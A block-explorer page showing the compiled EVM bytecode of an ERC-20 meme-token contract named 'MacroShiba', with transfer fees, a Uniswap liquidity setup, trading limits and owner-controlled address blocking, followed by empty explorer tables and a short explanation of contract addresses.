15610f0c576001600b908155600c555b6000610f1730610532565b601054909150600160a81b900460ff16158015610f4257506010546001600160a01b03858116911614155b8015610f575750601054600160b01b900460ff165b15610f7757610f65816110c5565b478015610f7557610f7547610fc3565b505b505b610f8483838361127c565b505050565b60008184841115610fad5760405162461bcd60e51b815260040161043a9190611895565b506000610fba84866119e9565b95945050505050565b600d546001600160a01b03166108fc610fdd836002610acf565b6040518115909202916000818181858888f19350505050158015611005573d6000803e3d6000fd5b50600e546001600160a01b03166108fc611020836002610acf565b6040518115909202916000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006008548211156110af5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043a565b60006110b9611287565b9050610b118382610acf565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110d5761110d611a31565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116157600080fd5b505afa158015611175573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611199919061169e565b816001815181106111ac576111ac611a31565b6001600160a01b039283166020918202929092010152600f546111d29130911684610b18565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120b90859060009086903090429060040161191f565b600060405180830381600087803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6000818361126f5760405162461bcd60e51b815260040161043a9190611895565b506000610fba84866119a8565b610f848383836112aa565b60008060006112946113a1565b90925090506112a38282610acf565b9250505090565b6000806000806000806112bc876113e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112ee908761143e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131d9086611480565b6001600160a01b03891660009081526002602052604090205561133f816114df565b6113498483611529565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138e91815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006113bc8282610acf565b8210156113d857505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113fe8a600b54600c5461154d565b925092509250600061140e611287565b905060008060006114218e8787876115a2565b919e509c509a509598509396509194505050505091939550919395565b6000610b1183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f89565b60008061148d8385611990565b905083811015610b115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043a565b60006114e9611287565b905060006114f783836115f2565b306000908152600260205260409020549091506115149082611480565b30600090815260026020526040902055505050565b600854611536908361143e565b6008556009546115469082611480565b6009555050565b6000808080611567606461156189896115f2565b90610acf565b9050600061157a60646115618a896115f2565b905060006115928261158c8b8661143e565b9061143e565b9992985090965090945050505050565b60008080806115b188866115f2565b905060006115bf88876115f2565b905060006115cd88886115f2565b905060006115df8261158c868661143e565b939b939a50919850919650505050505050565b600082611601575060006103a1565b600061160d83856119ca565b90508261161a85836119a8565b14610b115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b803561167c81611a5d565b919050565b60006020828403121561169357600080fd5b8135610b1181611a5d565b6000602082840312156116b057600080fd5b8151610b1181611a5d565b600080604083850312156116ce57600080fd5b82356116d981611a5d565b915060208301356116e981611a5d565b809150509250929050565b60008060006060848603121561170957600080fd5b833561171481611a5d565b9250602084013561172481611a5d565b929592945050506040919091013590565b6000806040838503121561174857600080fd5b823561175381611a5d565b946020939093013593505050565b6000602080838503121561177457600080fd5b823567ffffffffffffffff8082111561178c57600080fd5b818501915085601f8301126117a057600080fd5b8135818111156117b2576117b2611a47565b8060051b604051601f19603f830116810181811085821117156117d7576117d7611a47565b604052828152858101935084860182860187018a10156117f657600080fd5b600095505b838610156118205761180c81611671565b8552600195909501949386019386016117fb565b5098975050505050505050565b60006020828403121561183f57600080fd5b8135610b1181611a72565b60006020828403121561185c57600080fd5b8151610b1181611a72565b60008060006060848603121561187c57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118c2578581018301518582016040015282016118a6565b818111156118d4576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561196f5784516001600160a01b03168352938301939183019160010161194a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119a3576119a3611a1b565b500190565b6000826119c557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119e4576119e4611a1b565b500290565b6000828210156119fb576119fb611a1b565b500390565b6000600019821415611a1457611a14611a1b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461052f57600080fd5b801515811461052f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f800a99bb1091f3dec588eb277bd017adeec98a2b197d15d93424138b08aad564736f6c63430008060033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a146102eb578063c3c8cd801461030b578063c9567bf914610320578063dd62ed3e14610335578063efa4af4c1461037b57600080fd5b806370a082311461026e578063715018a61461028e5780638da5cb5b146102a357806395d89b4114610124578063a9059cbb146102cb57600080fd5b8063273123b7116100e7578063273123b7146101db578063313ce567146101fd57806339509351146102195780635932ead1146102395780636fc3eaec1461025957600080fd5b806306fdde0314610124578063095ea7b31461016657806318160ddd1461019657806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082018252600a8152694d6163726f536869626160b01b6020820152905161015d9190611895565b60405180910390f35b34801561017257600080fd5b50610186610181366004611735565b610390565b604051901515815260200161015d565b3480156101a257600080fd5b50678ac7230489e800005b60405190815260200161015d565b3480156101c757600080fd5b506101866101d63660046116f4565b6103a7565b3480156101e757600080fd5b506101fb6101f6366004611681565b610410565b005b34801561020957600080fd5b506040516009815260200161015d565b34801561022557600080fd5b50610186610234366004611735565b610464565b34801561024557600080fd5b506101fb61025436600461182d565b6104bd565b34801561026557600080fd5b506101fb610505565b34801561027a57600080fd5b506101ad610289366004611681565b610532565b34801561029a57600080fd5b506101fb610588565b3480156102af57600080fd5b506000546040516001600160a01b03909116815260200161015d565b3480156102d757600080fd5b506101866102e6366004611735565b6105fc565b3480156102f757600080fd5b506101fb610306366004611761565b610609565b34801561031757600080fd5b506101fb61069f565b34801561032c57600080fd5b506101fb6106d5565b34801561034157600080fd5b506101ad6103503660046116bb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561038757600080fd5b506101fb610a97565b600061039d338484610b18565b5060015b92915050565b60006103b4848484610c3c565b610406843361040185604051806060016040528060288152602001611a81602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f89565b610b18565b5060019392505050565b6000546001600160a01b031633146104435760405162461bcd60e51b815260040161043a906118ea565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600061049b333360009081526004602090815260408083206001600160a01b03891684529091529020548590610401908690611990565b50600a546001600160a01b031660009081526002602052604090205550600190565b6000546001600160a01b031633146104e75760405162461bcd60e51b815260040161043a906118ea565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461052557600080fd5b4761052f81610fc3565b50565b600a546000906001600160a01b0383811691161461056c576001600160a01b0382166000908152600260205260409020546103a190611048565b506001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146105b25760405162461bcd60e51b815260040161043a906118ea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039d338484610c3c565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161043a906118ea565b60005b815181101561069b5760016006600084848151811061065757610657611a31565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611a00565b915050610636565b5050565b600d546001600160a01b0316336001600160a01b0316146106bf57600080fd5b60006106ca30610532565b905061052f816110c5565b6000546001600160a01b031633146106ff5760405162461bcd60e51b815260040161043a906118ea565b601054600160a01b900460ff16156107595760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043a565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107953082678ac7230489e80000610b18565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ce57600080fd5b505afa1580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610806919061169e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561084e57600080fd5b505afa158015610862573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610886919061169e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610906919061169e565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061093681610532565b60008061094b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ae57600080fd5b505af11580156109c2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e79190611867565b50506010805467010a741a4627800060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a5f57600080fd5b505af1158015610a73573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069b919061184a565b6000546001600160a01b03163314610ac15760405162461bcd60e51b815260040161043a906118ea565b678ac7230489e80000601155565b6000610b1183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061124e565b9392505050565b6001600160a01b038316610b7a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b038216610bdb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043a565b6001600160a01b038216610d025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043a565b60008111610d645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043a565b6001600b908155600c556000546001600160a01b03848116911614801590610d9a57506000546001600160a01b03838116911614155b15610f79576001600160a01b03831660009081526006602052604090205460ff16158015610de157506001600160a01b03821660009081526006602052604090205460ff16155b610dea57600080fd5b6010546001600160a01b038481169116148015610e155750600f546001600160a01b03838116911614155b8015610e3a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4f5750601054600160b81b900460ff165b15610eac57601154811115610e6357600080fd5b6001600160a01b0382166000908152600760205260409020544211610e8757600080fd5b610e9242601e611990565b6001600160a01b0383166000908152600760205260409020555b6010546001600160a01b038381169116148015610ed75750600f546001600160a01b03848116911614155b8015610efc57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0c576001600b908155600c555b6000610f1730610532565b601054909150600160a81b900460ff16158015610f4257506010546001600160a01b03858116911614155b8015610f575750601054600160b01b900460ff165b15610f7757610f65816110c5565b478015610f7557610f7547610fc3565b505b505b610f8483838361127c565b505050565b60008184841115610fad5760405162461bcd60e51b815260040161043a9190611895565b506000610fba84866119e9565b95945050505050565b600d546001600160a01b03166108fc610fdd836002610acf565b6040518115909202916000818181858888f19350505050158015611005573d6000803e3d6000fd5b50600e546001600160a01b03166108fc611020836002610acf565b6040518115909202916000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006008548211156110af5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043a565b60006110b9611287565b9050610b118382610acf565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110d5761110d611a31565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116157600080fd5b505afa158015611175573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611199919061169e565b816001815181106111ac576111ac611a31565b6001600160a01b039283166020918202929092010152600f546111d29130911684610b18565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120b90859060009086903090429060040161191f565b600060405180830381600087803b15801561122557600080fd5b505af1158015611239573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6000818361126f5760405162461bcd60e51b815260040161043a9190611895565b506000610fba84866119a8565b610f848383836112aa565b60008060006112946113a1565b90925090506112a38282610acf565b9250505090565b6000806000806000806112bc876113e1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112ee908761143e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131d9086611480565b6001600160a01b03891660009081526002602052604090205561133f816114df565b6113498483611529565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138e91815260200190565b60405180910390a3505050505050505050565b6008546000908190678ac7230489e800006113bc8282610acf565b8210156113d857505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113fe8a600b54600c5461154d565b925092509250600061140e611287565b905060008060006114218e8787876115a2565b919e509c509a509598509396509194505050505091939550919395565b6000610b1183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f89565b60008061148d8385611990565b905083811015610b115760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043a565b60006114e9611287565b905060006114f783836115f2565b306000908152600260205260409020549091506115149082611480565b30600090815260026020526040902055505050565b600854611536908361143e565b6008556009546115469082611480565b6009555050565b6000808080611567606461156189896115f2565b90610acf565b9050600061157a60646115618a896115f2565b905060006115928261158c8b8661143e565b9061143e565b9992985090965090945050505050565b60008080806115b188866115f2565b905060006115bf88876115f2565b905060006115cd88886115f2565b905060006115df8261158c868661143e565b939b939a50919850919650505050505050565b600082611601575060006103a1565b600061160d83856119ca565b90508261161a85836119a8565b14610b115760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b803561167c81611a5d565b919050565b60006020828403121561169357600080fd5b8135610b1181611a5d565b6000602082840312156116b057600080fd5b8151610b1181611a5d565b600080604083850312156116ce57600080fd5b82356116d981611a5d565b915060208301356116e981611a5d565b809150509250929050565b60008060006060848603121561170957600080fd5b833561171481611a5d565b9250602084013561172481611a5d565b929592945050506040919091013590565b6000806040838503121561174857600080fd5b823561175381611a5d565b946020939093013593505050565b6000602080838503121561177457600080fd5b823567ffffffffffffffff8082111561178c57600080fd5b818501915085601f8301126117a057600080fd5b8135818111156117b2576117b2611a47565b8060051b604051601f19603f830116810181811085821117156117d7576117d7611a47565b604052828152858101935084860182860187018a10156117f657600080fd5b600095505b838610156118205761180c81611671565b8552600195909501949386019386016117fb565b5098975050505050505050565b60006020828403121561183f57600080fd5b8135610b1181611a72565b60006020828403121561185c57600080fd5b8151610b1181611a72565b60008060006060848603121561187c57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118c2578581018301518582016040015282016118a6565b818111156118d4576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561196f5784516001600160a01b03168352938301939183019160010161194a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119a3576119a3611a1b565b500190565b6000826119c557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119e4576119e4611a1b565b500290565b6000828210156119fb576119fb611a1b565b500390565b6000600019821415611a1457611a14611a1b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461052f57600080fd5b801515811461052f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f800a99bb1091f3dec588eb277bd017adeec98a2b197d15d93424138b08aad564736f6c63430008060033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.